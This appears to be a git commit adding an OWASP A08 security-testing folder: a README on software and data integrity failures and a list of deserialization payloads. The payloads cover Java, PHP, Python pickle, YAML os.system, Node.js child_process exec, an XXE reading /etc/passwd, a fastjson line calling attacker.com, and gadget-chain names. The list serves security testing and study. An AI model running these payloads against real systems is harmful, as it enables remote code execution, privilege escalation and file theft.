Add comprehensive OWASP Top 10 directory structure with injection payloads

Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com>

OWASP-Top-10/A08-Software-Data-Integrity-Failures/README.md

@@ -0,0 +1,14 @@
+# A08 - Software and Data Integrity Failures
+
+## Description
+This relates to code and infrastructure that does not protect against integrity violations. This includes insecure deserialization, insecure CI/CD pipelines, and applications that rely on updates, plugins, or libraries from untrusted sources without integrity verification.
+
+## Common Vulnerabilities
+- Insecure deserialization
+- Unverified software updates
+- Insecure CI/CD pipelines
+- Unsigned code execution
+- Missing integrity checks
+
+## Testing Approach
+Test for deserialization vulnerabilities, analyze update mechanisms, check code signing, and verify integrity checks.

OWASP-Top-10/A08-Software-Data-Integrity-Failures/deserialization-payloads.txt

@@ -0,0 +1,55 @@
+# Deserialization Payloads
+
+# Java serialized object patterns
+rO0ABXNy
+aced0005
+H4sIAAAAAAAA
+
+# PHP serialization
+O:8:"stdClass":0:{}
+a:1:{i:0;s:5:"admin";}
+O:4:"User":1:{s:4:"role";s:5:"admin";}
+O:10:"Evil_Class":0:{}
+
+# Python pickle
+\x80\x03cos
+(S'whoami'
+tR.
+
+# .NET deserialization
+AAEAAAD/////
+
+# JSON deserialization attacks
+{"@type":"java.net.URL","val":"http://attacker.com"}
+{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('calc')}()"}
+
+# YAML deserialization
+!!python/object/apply:os.system ['calc']
+!!python/object/new:os.system [calc]
+
+# XML deserialization/XXE
+<?xml version="1.0"?>
+<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
+<foo>&xxe;</foo>
+
+# Base64 encoded payloads
+# Java: rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZQ==
+# PHP: TzoxMDoiRXZpbF9DbGFzcyI6MDp7fQ==
+
+# Gadget chains (Java)
+CommonsCollections1
+CommonsCollections2
+CommonsCollections3
+CommonsCollections4
+CommonsCollections5
+CommonsCollections6
+Groovy1
+Spring1
+Spring2
+
+# Node.js deserialization
+{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls')}()"}
+{"__proto__":{"isAdmin":true}}
+
+# Ruby Marshal
+\x04\x08o:\x10User\x06:\x0arole:\x0aadmin